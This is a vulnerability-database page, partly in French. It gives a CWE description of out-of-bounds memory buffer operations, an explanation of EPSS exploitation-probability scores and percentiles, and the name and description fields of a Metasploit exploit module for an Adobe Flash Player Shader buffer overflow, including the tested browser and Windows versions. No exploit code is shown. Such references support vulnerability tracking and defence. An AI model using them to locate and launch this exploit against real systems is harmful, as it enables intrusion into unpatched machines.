Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |

EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

'Name' => "Adobe Flash Player Shader Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability in Adobe Flash Player. The
vulnerability occurs in the flash.Display.Shader class, when setting specially
crafted data as its bytecode, as exploited in the wild in April 2014. This module
has been tested successfully on IE 6 to IE 10 with Flash 11 and Flash 12 over
Windows XP SP3, Windows 7 SP1 and Windows 8.
